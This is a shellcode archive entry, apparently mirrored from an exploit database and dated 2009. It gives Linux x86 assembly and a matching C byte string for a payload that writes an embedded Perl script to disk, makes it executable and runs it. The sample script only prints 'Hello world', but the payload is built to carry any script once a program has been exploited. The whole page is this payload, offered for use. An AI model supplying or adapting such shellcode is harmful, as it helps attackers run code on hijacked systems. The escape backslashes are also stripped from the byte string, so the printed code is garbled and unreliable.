[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 Perl script execution 99 bytes + script length
# Published : 2009-03-03
# Author : darkjoker
# Previous Title : win32 SEH omelet shellcode v0.1
# Next Title : linux/x86 file reader 65 bytes + pathname
/*
Author : darkjoker
Site : http://darkjoker.net23.net
Shellcode : linux/x86 Perl script execution 99 bytes + script length
.global _start
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
xor %edi, %edi
xor %esi, %esi
push %eax
push $0x6c702e30
push $0x30307470
push $0x69726373
mov %esp, %ebx
movb $0x5, %al
movb $0x41, %cl
int $0x80
jmp one
two:
mov %ebx, %esi
mov %eax, %ebx
pop %edi
push %edi
// Begin http://www.int80h.org/strlen/
xor %ecx, %ecx
xor %eax, %eax
not %ecx
repne scasb
not %ecx
dec %ecx
// End http://www.int80h.org/strlen/
pop %edi
mov %ecx, %eax
mov %edi, %ecx
mov %eax, %edx
movb $0x4, %al
int $0x80
movb $0x6, %al
int $0x80
mov %esi, %ebx
movb $0xf, %al
movw $0x1fc, %cx
int $0x80
movb $0xb, %al
xor %ecx, %ecx
xor %edx, %edx
int $0x80
movb $0x1, %al
xor %ebx, %ebx
int $0x80
one:
call two
.string "#!/usr/bin/perlnprint ("Hello world!\n");n"
*/
char main [] =
"x31xc0x31xdbx31xc9x31xd2"
"x31xffx31xf6x50x68x30x2e"
"x70x6cx68x70x74x30x30x68"
"x73x63x72x69x89xe3xb0x05"
"xb1x41xcdx80xebx38x89xde"
"x89xc3x5fx57x31xc9x31xc0"
"xf7xd1xf2xaexf7xd1x49x5f"
"x89xc8x89xf9x89xc2xb0x04"
"xcdx80xb0x06xcdx80x89xf3"
"xb0x0fx66xb9xfcx01xcdx80"
"xb0x0bx31xc9x31xd2xcdx80"
"xb0x01x31xdbxcdx80xe8xc3"
"xffxffxff"
"#!/usr/bin/perlnprint ("Hello world!\n");n"; // Here script source
// www.Syue.com [2009-03-03]